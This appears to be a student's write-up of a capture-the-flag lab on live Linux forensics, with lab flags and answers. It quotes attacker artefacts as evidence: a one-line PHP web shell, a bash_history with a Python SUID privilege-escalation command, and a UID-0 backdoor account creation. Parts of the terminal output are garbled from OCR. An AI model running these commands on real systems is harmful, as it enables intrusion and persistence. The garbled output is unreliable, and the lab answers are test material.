LINUX FILE SYSTEM ANALYSIS

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AIM:

TASK 1: INTRODUCTION

Performing live forensic file system analysis is often an early part of incident response and is crucial I assessing and determining potential security breaches. This process involves examining digital artefacts, system logs, users, and file structures to uncover evidence of unauthorized access, malicious activities, or data compromise. While drawing methodological comparisons to Windows forensic operations, Linux forensics and the Unix-based operating systems also present unique challenge opportunities for forensic analysts. Understanding common artefacts of Linux file systems, permissions, and log mechanisms, therefore, becomes vital to the timely detection and mitigation of security incidents.

As we are only analyzing and identifying artefacts of compromise at this stage of the incident response, it's important to emphasize that it's generally unsafe to remediate the live compromised system for further use. Instead, securely restoring from backups and performing vulnerability management remediation activities (which is out of scope for this room) is essential for recovery and minimizing impact.

Objectives

- Learn how to perform live file system analysis on a Linux system.
- Understand common artefacts, log mechanisms, and file system activities in Linux forensics.
- Reconstruct an event timeline in a hands-on incident response scenario. Pre-requisites

TASK 2: INVESTIGATION SETUP

To secure the environment for live forensic analysis:


- 1. Ensure necessary backups are acquired and isolate the system from the network.
- 2. Use known good binaries and libraries for analysis by mounting a USB with clean Debian- based binaries.
- 3. Copy /bin, /sbin, /lib, and /lib64 folders from the clean installation to /mnt/usb on the affected system.
- 4. Modify PATH and LD_LIBRARY_PATH to prioritize trusted binaries and libraries for investigation.

Logging onto the server

```
(root@ kali) - [/home/kali/thm/linux_file_system_analysis]
# ssh investigator@10.10.109.231 (10.10.109.231)' can't be established.
ED25519 key fingerprint is SHA256:zUmNMRHAUFIOD7h0265t3DMhg6mHdqTaCizlzz2W5uE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.109.231' (ED25519) to the list of known hosts.
investigator@10.10.109.231's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1029-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://landscape.canonical.com
System information as of Wed Mar 20 04:29:09 UTC 2024
```

Capturing the first flag



TASK 3: FILES, PERMISSIONS, AND TIMESTAMPS IDENTIFYING THE FOOTHOLD

It is said that the web server of the Penguin Corp is vulnerable to a file upload vulnerability

Hence it makes sense to check the uploads folder of the webserver

```
investigator@ip-10-10-109-231:/var/www/html/uploads$ cat b2c8e1f5.phtml
```

<?php system(\$_GET['cmd']);?>

Based on the analysis, it seems that the attacker uploaded a ".phtml" document to execute PHP code on the server. The PHP code contains an unsafe "system()" call, allowing the execution of arbitrary commands on the system remotely. This likely enabled the attacker to establish a more stable connection from the web server to their system.

Ownership and Permissions

Given the identified remote code execution through a malicious web shell owned by the www-data user, it's crucial to investigate additional activity and files owned by www-data. Attackers commonly target directories with write permissions for uploading malicious files. Some common writable directories include:

- 1. /tmp: This temporary directory is writable by all users, making it a frequent target for attackers.
- 2. /var/tmp: Another temporary directory with world write permissions, often exploited for malicious purposes.
- 3. /dev/shm: The shared memory file system, usually writable by all users, which can also be targeted for unauthorized activities.

```
investigator@ip-10-10-109-231:/var/www/html/uploads$ find / -user www-data -type f 2>/dev/null
/var/www/html/uploads/MzCxVeR.jpeg
/var/www/html/uploads/AzsWqE.jpeg
/var/www/html/uploads/QaWsEdR.jpeg
/var/www/html/uploads/TyHjklM.jpeg
/var/www/html/uploads/TyHjklM.jpeg
/var/www/html/uploads/PrTgHfD.jpeg
/var/www/html/uploads/YmLnXhP.jpeg
/var/www/html/uploads/LuDjYnW.jpeg
/var/www/html/uploads/LvXcBvN.jpeg
/var/www/html/uploads/AsDf6hJ.jpeg
/var/www/html/uploads/CoSaBmQ.jpeg
/var/www/html/uploads/KkFgHtD.jpeg
/var/www/html/uploads/KffbMeG.jpeg
/var/www/html/uploads/RfTbMeG.jpeg
/var/www/html/uploads/AgLmByC.jpeg
/var/www/html/uploads/AgLmByC.jpeg
```

To display the file permissions of reverse.elf located in /var/www/html/assets/, you can use the following command:

Is -la /var/www/html/assets/reverse.elf

This command will provide detailed information about the file, including its permissions, owner, group, size, and modification date. Specifically, it will show whether the file is executable by all users, indicated by the presence of the "x" bit in the permissions section.

```
investigator@ip-10-10-109-231:/var/www/html/assets$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:32 .
drwxr-xr-x 4 root root 4096 Feb 12 23:05 ..
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:26 reverse.elf
investigator@ip-10-10-109-231:/var/www/html/assets$
```

Metadata

To analyze the metadata of the suspicious reverse.elf file using Exiftool, you can run the following command:

exiftool /var/www/html/assets/reverse.elf

This command will extract and display the metadata associated with the specified file, providing insights into its characteristics, origins, and attributes.

Analyzing Checksums

To analyze the checksums of the reverse.elf file, you can use the md5sum and sha256sum utilities. Run the following commands:

md5sum /var/www/html/assets/reverse.elf

sha256sum /var/www/html/assets/reverse.elf

These commands will output the MD5 and SHA-256 checksums respectively for the reverse.elf file, allowing you to verify the integrity of the file and potentially identify it based on known signatures.

For instance:

MD5 checksum: c6cbdba1c147fbb7236284b7df2aa653

SHA-256 checksum: ee0ea8d8bc205c4e2e2cc6ff7ddb71dee22ac0a50c2042701d46e565e0821

Submitting these hashes to a malware detection service like VirusTotal may reveal that various vendors flag the file as a Meterpreter reverse shell payload. This suggests that the attacker used this file to establish an interactive reverse shell connection to the web server after exploiting the initial remote code execution vulnerability.

Timestamps

Timestamps are crucial in forensic investigations, providing insights into file actions. Unix-based systems record three main timestamps:

- 1. Modify Timestamp (mtime): Reflects the last time file contents were altered.
- 2. Change Timestamp (ctime): Indicates the last time file metadata was changed.
- 3. Access Timestamp (atime): Shows the last time a file was

accessed. To view these timestamps:

- For mtime: Use Is -I followed by the file path. For ctime:
- Utilize ls -lc with the file path.
- For a time: Employ Is -lu along with the file path.

While reading a file can update atime, impacting its reliability, the stat command provides all three timestamps at once:

```
stat /var/www/html/assets/reverse.elf
```

This command displays access, modify, and change timestamps, aiding in establishing a timeline during forensic analysis.

Q 2 To practice your skills with the find command, locate all the files that the user bob created in the past 1 minute. Once found, review its contents. What is the flag you receive?


```
investigator@ip-10-10-109-231:/var/tmp$ find / -user bob -type f -cmin -1
       '/sys/kernel/tracing': Permission denied 
'/sys/kernel/debug': Permission denied 
'/sys/fs/pstore': Permission denied
find:
find:
find:
       '/sys/fs/bpf': Permission denied
                                                                                   This command searches for files
find:
                                                                                  owned by the user "bob" that were
find:
        /proc/tty/driver': Permission denied
                                                                                   created within the last 1 minute.
        /proc/1/task/1/fd': Permission denied
find:
        /proc/1/task/1/fdinfo': Permission denied
find:
find:
        /proc/1/task/1/ns': Permission denied
       '/proc/1/fd': Permission denied
find:
         /proc/1/map_files': Permission denied
find:
```

Q 3 Extract the metadata from the **reverse.elf** file. What is the file's MIME type?

```
investigator@ip-10-10-109-231:/var/www/html/assets$ exiftool reverse.elf
 ExifTool Version Number
                                                                                                                                          : 11.88
 File Name
                                                                                                                                          : reverse.elf
 Directory
 File Size
                                                                                                                                          : 250 bytes
 File Modification Date/Time
                                                                                                                                         : 2024:02:13 00:26:28+00:00
 File Access Date/Time
                                                                                                                                          : 2024:02:13 00:32:59+00:00
 File Inode Change Date/Time
                                                                                                                                          : 2024:02:13 00:34:50+00:00
 File Permissions
                                                                                                                                          : rwxr-xr-x
 File Type
                                                                                                                                          : ELF executable
File Type Extension
MIME Type
                                                                                                                                          : application/octet-stream
 CPU Architecture
                                                                                                                                          : 64 bit
 CPU Byte Order
                                                                                                                                          : Little endian
 Object File Type
                                                                                                                                          : Executable file
 CPU Type
                                                                                                                                          : AMD x86-64
find: '/var/spool/postfix/private': Permission denied find: '/var/spool/postfix/flush': Permission denied find: '/var/spool/postfix/defer': Permission denied find: '/var/spool/postfix/defer': Permission denied find: '/var/spool/postfix/corrupt': Permission denied find: '/var/spool/postfix/deferred': Permission denied find: '/var/spool/postfix/saved': Permission denied find: '/var/spool/postfix/suve': Permission denied find: '/var/spool/postfix/incoming': Permission denied find: '/var/spool/postfix/active': Permission denied find: '/var/sp
   nvestigator@ip-10-10-109-231:/var/tm
HM{0b1313afd2136ca0faafb2daa2b430f3}
                                                                                                            tmp$ cat /var/tmp/findme.txt
                                                                                                                                                                                                                                                                               Flag Captured
                                                                                                                 p$
            stigator@ip-10-10-109-231:/var
```

Q 4 Run the stat command against the /etc/hosts file on the compromised web server. What is the

full Modify Timestamp (mtime) value?





TASK 4 USERS AND GROUPS

To identify potential backdoor accounts with root permissions, execute:

```
cat /etc/passwd | cut -d: -f1,3 | grep ":0$"
```

This command extracts user accounts with UID 0 and displays them. If any user other than "root" appears, it could indicate a backdoor account with elevated privileges.

To identify users belonging to crucial groups like sudo or wheel, execute:

```
getent group sudo
```

This command lists all users in the "sudo" group, including their usernames. If you prefer using the group ID, typically 27, you can run:

```
getent group 27 or cat /etc/group
```

This command achieves the same result, listing users in the sudo group.

To monitor user logins and activity, you can use the following commands and logs:

1. last: Provides a history of user logins and sessions, reading from /var/log/wtmp.

last

2. lastb: Tracks failed login attempts by reading /var/log/btmp

lastb

3. lastlog: Focuses on a user's most recent login activity, reading from /var/log/lastlog.

lastlog

- 4. Failed Login Attempts: Check /var/log/auth.log (or /var/log/secure on certain distributions) for records of authentication-related events, including failed login attempts.
- 5. who: Displays currently logged-in users, along with details like terminal device, time of session establishment, and IP address.

who

By utilizing these commands and logs, you can effectively monitor user logins and detect any suspicious or unauthorized activities on your system.

The /etc/sudoers file is critical for managing sudo privileges on Unix-like systems. Here's how it works and how attackers might exploit it:

- Location: /etc/sudoers is the file where sudo privileges are defined.
- Format: Entries in the file follow a specific format, specifying the user, the host(s) the privilege applies to, the command(s) they can run, and optionally the user they can run the command as.

For example:

username host=(user_to_run_as) command to run

Example: In the given example:

richard ALL=(ALL) /sbin/ifconfig

- richard is the user with sudo privileges.
- ALL means this privilege applies to all hosts.
- (ALL) indicates the user can run the command as any user.
- /sbin/ifconfig is the specific command allowed.

Security Implications:

- Attackers might target this file to gain elevated privileges. They could: Insert their own user account into the sudoers file.
- Modify existing entries to expand their access.
- This could lead to unauthorized execution of commands as root, bypassing

authentication. Mitigation:

- Regularly audit the contents of /etc/sudoers for unauthorized changes.
- Restrict access to the sudoers file to prevent unauthorized modifications.
- Employ proper file permissions and integrity checks to ensure the integrity of the sudoers file.

Q 5 Investigate the user accounts on the system. What is the name of the backdoor account that the attacker created?

```
investigator@ip-10-10-109-231:/home$ cat /etc/passwd
root:x:0::root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys:x:3:a:sys:/dev:/usr/sbin/nologin
games:x:5:60:games:/usr/games:/usr/sbin/nologin
lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
mal:x:8:8:mail:/var/mail:/usr/sbin/nologin
mail:x:8:8:mail:/var/spool/nucp:/usr/sbin/nologin
nucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
nucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
nobrox:x:33:33:www-data:/var/www:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systend-revor(x:10:10:102:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systend-revor(x:10:110:12):systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systend-resolvex:10:10:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
systend-inesyn(x:x:102:104:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
systend-inesyn(x:x:102:104:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
systend-cologin-systend-inesyncx:/usr/sbin/nologin
nobody:x:05534::/nonexistent:/usr/sbin/nologin
nobody:x:05534::/nonexistent:/usr/sbin/nologin
systend-cologin-systend-inesyncx:/usr/sbin/nologin
nobody:x:05534::/unonexistent:/usr/sbin/nologin
systend-cologin-systend-inesyncx:/usr/sbin/nologin
systend-cologin-systend-inesyncx:/usr/sbin/nologin
systend-inesyncx:x:103:104:xinonexistent:/usr/sbin/nologin
systend-inesyncx:x:100:101:xinonexistent:/usr/sbin/nologin
systend-inesyncx:x:100:101:xinonexistent:/usr/sbin/nol
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```

Q 6 What is the name of the group with the group ID of 46?



Q 7 View the /etc/sudoers file on the compromised system. What is the full path of the binary that Jane can run as sudo?



TASK 5 USER DIRECTORIES AND FILES

To list user home directories and their hidden files, you can use the following commands:

1. List home directories:

Is -I /home

2. List hidden files in a specific user's home directory (e.g., Jane):

Is -a /home/jane

Common hidden files of interest for investigation include:

- .bash history: Contains the user's command history.
- .bashrc and .profile : Configuration files for customizing the user's shell sessions and login environment respectively.

By examining these hidden files, investigators can gain insights into the user's activities and configurations, aiding in the investigation process.

The scenario illustrates a serious security misconfiguration. To summarize:

1. Investigation Process:

- Navigate to Jane's .ssh directory: ls -al /home/jane/.ssh
- List the contents of the directory: ls -al /home/jane/.ssh
- View the authorized keys file: cat /home/jane/.ssh/authorized keys
- Check file timestamps: stat /home/jane/.ssh/authorized_keys

2. Findings:

- The authorized keys file contains an unintended public key labeled "backdoor."
- The file's permissions are excessively permissive (rw-rw-rw-), allowing any user to modify it.

3. Security Implications:

- The misconfigured permissions allowed an attacker to append their public key to the authorized keys file.
- This granted the attacker unauthorized SSH access to the system, masquerading as Jane.

4. Mitigation Steps:

- Correct the permissions of sensitive files, such as authorized keys, to prevent unauthorized modifications.
- Regularly audit file permissions and contents for any unauthorized changes.
- Implement access controls and user privilege management to restrict modifications to critical files.

Addressing these issues is crucial for maintaining the security and integrity of the system.

Q 8 View Jane's .bash history file. What flag do you see in the output?

```
investigator@ip-10-10-109-231:/home/jame$ sudo cat .bash_history
whoani
groups
cd ~
ls -al
find / -perm -u-s -type f 2>/dev/null
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p", "-c", "cp /bin/bash /var/tmp/bash &6 chown root:root /var/tmp/bash &6 chmod +s /var/tmp/bash")'
ls -al /var/tmp
exit
useradd -o -u 0 b4ckd00r3d
exit
FlagCaptured
THM{{38279ab9c6af1215815e5f7bbad891b}
```

Q 9 What is the hidden flag in Bob's home directory?

```
investigator@ip-10-10-109-231:/home/jane$ cd /home/bob/
investigator@ip-10-10-109-231:/home/bob$ ls -la
total 36
drwxr-xr-x 4 bob bob 4096 Feb 12 19:32
drwxr-xr-x 6 root root 4096 Feb 12 18:00
                                            .bash_logout
-rw-r--r-- 1 bob bob
                         220 Feb 12 17:05
rw-r--r-- 1 bob
                  bob
                        3771 Feb 12 17:05
                                           .bashrc
                        4096 Feb 12 18:59
drwx---- 2
             bob
                   bob
                           0 Feb 12 17:20
rw-rw-r--
             bob
                                           .hidden1
                   bob
                           0 Feb 12 17:20
rw-rw-r--
             bob
                   bob
                                           .hidden10
                           0 Feb 12 17:20 .hidden11
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20
rw-rw-r--
                                           .hidden12
             bob
                   bob
                           0 Feb 12 17:20 .hidden13
rw-rw-r--
             bob
           1
                  bob
                           0 Feb 12 17:20 .hidden14
rw-rw-r-- 1
             bob
                  bob
                           0 Feb 12 17:20
rw-rw-r--
             bob
                   bob
                                            .hidden15
                           0 Feb 12 17:20 .hidden16
rw-rw-r--
             bob
                  bob
                           0 Feb 12 17:20 .hidden17
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden18
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden19
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden2
rw-rw-r--
           1
             bob
                  bob
                           0 Feb 12 17:20 .hidden20
rw-rw-r-- 1
             hob
                  hob
                           0 Feb 12 17:20 .hidden21
rw-rw-r--
             bob
                   bob
rw-rw-r--
             bob
                  bob
                           0 Feb 12 17:20 .hidden22
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20
                                           .hidden23
                           0 Feb 12 17:20 .hidden24
rw-rw-r--
             bob
                  bob
                           0 Feb 12 17:20 .hidden25
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden26
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden27
rw-rw-r-- 1
             bob
                  bob
                           0 Feb 12 17:20
rw-rw-r--
             bob
                  bob
                                           .hidden28
                           0 Feb 12 17:20 .hidden29
rw-rw-r--
             bob
                  bob
                           0 Feb 12 17:20
             bob
                   bob
                                            .hidden3
rw-rw-r--
                                                                         After running the Is -la command to list all the files in the current
                                                                          directory including the hidden files .hidden34 is the only file that
             bob
                           0 Feb 12 17:20 .hidden30
                   bob
rw-rw-r--
             bob
                   bob
                           0 Feb 12 17:20 .hidden31
                                                                                         has some data in it
rw-rw-r--
                           0 Feb 12 17:20 .hidden32
             bob
                  bob
rw-rw-r--
                           0 Feb 12 17:20 .hidden33
             bob
                   bob
                          38 Feb 12 17:22 .hidden34
rw-rw-r-- 1 bob
                   bob
rw-rw-r--
           1
             bob
                   bob
                           0 Feb 12 17:20 .hidden35
                           0 Feb 12 17:20 .hidden36
0 Feb 12 17:20 .hidden37
           1
             bob
                   bob
                                            .hidden36
rw-rw-r-- 1
             bob
                   bob
                           0 Feb 12 17:20 .hidden38
rw-rw-r-- 1
             bob
```

```
investigator@ip-10-10-109-231:/home/bob$ cat .hidden34
THM{6ed90e00e4fb7945bead8cd59e9fcd7f}
```

Q 10 Run the stat command on Jane's authorized_keys file. What is the full timestamp

of the most recent modification?

```
investigator@ip-10-10-109-231:/home/bob$ cd /home/jane/
investigator@ip-10-10-109-231:/home/jame$ cd .ssh/
investigator@ip-10-10-109-231:/home/jame/.ssh$ ls -la
total 20
drwxr-xr-x 2 jane jane 4096 Feb 12 17:15
drwxr-xr-x 4 jane jane 4096 Feb 13 00:36
-rw-rw-rw- 1 jane jane 1136 Feb 13 00:34 authorized_keys
-rw------ 1 jane jane 3389 Feb 12 17:12 id_rsa
-rw-r--r-- 1 jane jane 746 Feb 12 17:12 id_rsa.pub
investigator@ip-10-10-109-231:/home/jane/.ssh$ stat authorized_keys
  File: authorized_keys
  Size: 1136
                               Blocks: 8
                                                        IO Block: 4096
                                                                              regular file
                                                        Links: 1
Device: ca01h/51713d
                               Inode: 257561
Access: (0666/-rw-rw-rw-) Uid: ( 1002/
Access: 2024-02-13 00:34:53.692530853 +0000
                                                        jane)
                                                                  Gid: ( 1002/
Modify: 2024-02-13 00:34:16.005897449 +0000
Change: 2024-02-13 00:34:16.005897449 +0000
investigator@ip-10-10-109-231:/home/jane/.ssh$
```

Answer the questions below	
View Jane's .bash_history file. What flag do you see in the output?	
THM{f38279ab9c6af1215815e5f7bbad891b}	✓ Correct Answer
What is the hidden flag in Bob's home directory?	
THM{6ed90e00e4fb7945bead8cd59e9fcd7f}	✓ Correct Answer
Run the stat command on Jane's authorized_keys file. What is the full timestamp of the most recent modification?	
2024-02-13 00:34:16.005897449 +0000	✓ Correct Answer

TASK 6 BINARIES AND EXECUTABLES

To narrow down the search and focus on potentially suspicious binaries, you can use additional parameters with the find command.

For instance, you might want to search for executable files owned by root, as unauthorized binaries with root ownership could indicate a security concern. Here's how you can do it:

find / -type f -executable -user root 2> /dev/null

This command will only list executable files owned by the root user. You can further refine the search based on other criteria, such as file modification time, size, or specific directories.

Once you identify a suspicious binary, you can investigate it further using various methods like metadata analysis, integrity checking using checksums, inspecting its strings and raw content, or comparing it with known good versions. This approach helps in identifying potential security threats and maintaining the integrity of the system.

The strings command is indeed valuable for extracting human-readable strings from binary files. When analyzing binary files, it can reveal important information such as function names, variable names, and plain text messages embedded within the binary. Here's how you can use it:

strings example.elf

Replace example.elf with the name of the binary file you want to analyze. This command will display all the printable strings found in the binary file, which can provide insights into its functionality and potentially uncover any suspicious or malicious activity.

1. Debsums Integrity Check:

- Use debsums to verify the integrity of installed package files.
- The command sudo debsums -e -s checks for modified configuration files and silences error output.
- Any reported changes indicate potential issues with package integrity, which may be indicative of malicious modifications.

2. Identifying SUID Binaries:

- Use find to search for executables with the SetUID (SUID) permission set.
- Command: find / -perm -u=s -type f 2>/dev/null
- Suspicious findings include unexpected binaries with SUID permissions, particularly those located in writable directories like /tmp or /var/tmp.

3. Correlating SUID Abuse:

- Investigate user activity, such as examining bash history (~/.bash history), to correlate suspicious actions.
- Look for commands related to finding SUID binaries and abusing their permissions.
- Example command: sudo cat /home/jane/.bash history | grep -B 2 -A 2 "python"

4. Integrity Checking Suspicious Binaries:

- Verify the integrity of suspicious binaries using checksums.
- Example command: md5sum /var/tmp/bash

By performing these steps, investigators can effectively identify and analyze potentially malicious activity on the system, allowing for appropriate response and mitigation measures to be taken.

Q 11 Run the debsums utility on the compromised host to check only configuration files. Which file came back as altered?

Check only changed config files (not missing)

debsums -c -e

Q 12 What is the md5sum of the binary that the attacker created to escalate privileges to root?

<pre>investigator@ip-10-10-109-231:/etc\$ md5sum /var/tmp 7063c3930affe123baecd3b340f1ad2c /var/tmp/bash investigator@ip-10-10-109-231:/etc\$ ■</pre>	p/bash
Answer the questions below	
Run the debsums utility on the compromised host to check only configuration files. Which file came back as altered?	
/etc/sudoers	✓ Correct Answer
What is the mdSsum of the binary that the attacker created to escalate privileges to root?	
7063c3930affe123baecd3b340f1ad2c	✓ Correct Answer

TASK 7 ROOTKITS CHKROOTKIT

- Usage: sudo chkrootkit
- Functionality: Checks for known rootkit-related files or patterns.
- Output: Reports on various checks for commonly used rootkit-related files or behaviors.
- Limitations: May not catch all types of rootkits and can be evaded by modern rootkits.


RKHunter (Rootkit Hunter):

- Usage: sudo rkhunter -c -sk
- Functionality: Offers more comprehensive rootkit detection compared to chkrootkit.
- Features: Compares SHA-1 hashes of core system files with known good ones, checks for wrong permissions, hidden files, and suspicious strings in kernel modules.
- Output: Provides a system check summary detailing what was found.
- Important: Updating the database of known rootkit signatures (using rkhunter --update) before running the scan is crucial for its effectiveness.
- Both tools can provide valuable insights into potential compromises on the system. While chkrootkit is suitable for a quick initial check, RKHunter offers a more thorough assessment. Using both in combination can enhance the detection capability and help ensure the integrity of the system.

Q 13 Run chkrootkit on the affected system. What is the full path of the .sh file that was detected?

```
Searching for Linux/Ebury - Operation Windigo ssh...
Searching for 64-bit Linux Rootkit ...
                                                                  nothing found
                                                                  nothing found
Searching for 64-bit Linux Rootkit modules...
                                                                  nothing found
Searching for Mumblehard Linux ...
                                                                           * /var/tmp/findme.sh
Possible Mumblehard backdoor installed
Searching for Backdoor.Linux.Mokes.a ...
                                                                  nothing found
                                                                  nothing found
Searching for Malicious TinyDNS ...
Searching for Linux.Xor.DDoS ...
                                                                  nothing found
Searching for Linux.Proxy.1.0 ...
                                                                  nothing found
Searching for CrossRAT ...
                                                                  nothing found
```

Q 14 Run rkhunter on the affected system. What is the result of the (UID 0) accounts check?



TASK 8 CONCLUSION

Linux file system forensic analysis is explored several topics like examining digital artefacts, system logs, users, and file structures.

RESULT:

Thus the linux file system forensic analysis is explored several topics like examining digital artifacts, system logs users and file structures